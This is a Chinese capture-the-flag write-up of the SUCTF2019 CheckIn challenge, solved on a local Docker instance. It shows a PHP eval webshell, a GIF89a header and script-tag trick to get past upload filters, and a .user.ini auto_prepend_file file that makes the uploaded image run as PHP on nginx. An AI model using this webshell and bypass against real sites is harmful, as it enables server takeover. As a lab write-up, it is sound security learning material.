这道题是SUCTF2019的一道题,看了网上的WP,说这是一道签到题… 我对PHP的熟悉的敏感程度还很低,这道题又学到了新的知识。
从github上下载了源码,利用docker来复现,因为要用burpsuite抓包不太方便,所以我绑定了本地的端口
1 | $ sudo docker ps |
docker容器启动后,容器中运行一些网络应用时,可以用-p或者-P参数来指定端口映射。使用-P(大写)选项,docker会随机选择一个端口映射到容器内部开放的网络端口上。
1 | $ sudo docker run -d -P checkin |
访问http://your-ip/32774,看到了一个文件上传的页面
上传一个含有<?php eval(@_POST['pass']); ?>
的php文件试试,发现返回illegal suffix!,尝试了php5,php6都不行,当然也不可能会这么简单…
换其他的后缀,比如txt,这时就发现错误提示变成了<? in contents!
,程序会检测你上传的文件中是不是包含<?
。
再继续换掉上传文件的内容
这里是调用了函数exif_imagetype
来检测,这个函数会读取图像的第一个字节并且检查其签名,如果不是图像则会返回FALSE。
所以在文件的前面加上GIF89a
来逃过检测,这时发现已经上传成功了
至于无法如何绕开<?
,我们可以用下面的语句来代替
1 | <script language='php'> |
根据提示我们应该去目录uploads/18797edfc10ea8fc679eb9df684c6307
下面访问我们的文件,访问http://192.168.220.129:32774/uploads/18797edfc10ea8fc679eb9df684c6307/shell.jpg发现无法正常读取这个文件,当然无法正常读取,毕竟这本身就不是一个正常的可以显示的图片。
正常思路应该是上传一个.htaccess
将图片图片解析为php,.htaccess
是apache的httpd.conf配置文件,但是在这道题目里是不可取的,原因是这里用的服务器不是apache而是nginx。。。
1 | // wget -S 可以读取目标网页的一些信息 |
到这里就引出了这道题的考点——.user.ini
.htaccess是Apache HTTP Server的文件目录系统级别的配置文件的默认的名字,它提供了在主配置文件中定义用户自定义指令的支持。也就是说.htaccess仅在服务器为Apache时生效。相比.htaccess,.user.ini
作为后门的使用范围就更加广泛了,无论是nginx、apache或者是IIS,只要是以fastcgi运行的php都可以支持.user.ini
,它不像.htaccess有局限性。
下面是官网中关于.user.ini的解释, 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录 。也就是说,我们可以通过自己上传.user.ini
来控制该文件夹的各个权限,里面的具体参数可以在php.ini
中参考。
php.ini配置选项列表中有两个特别的参数:auto_append_file
和auto_prepend_file
。
auto_prepend_file参数能指定一个特定的文件,自动包含在要执行的文件前,类似在文件前调用了require()函数,auto_append_file类似,是在文件的后面进行文件包含。
所以我们需要上传一个.user.ini
文件,其中指定auto_prepend_file
参数为我们的图片木马,这样图片木马就会被解析为php文件。
1 | auto_prepend_file=shell.jpg |
重新上传shell.jpg读取flag
1 | <script language='php'> |
访问url:http://192.168.220.129:32774/uploads/18797edfc10ea8fc679eb9df684c6307/index.php读取flag。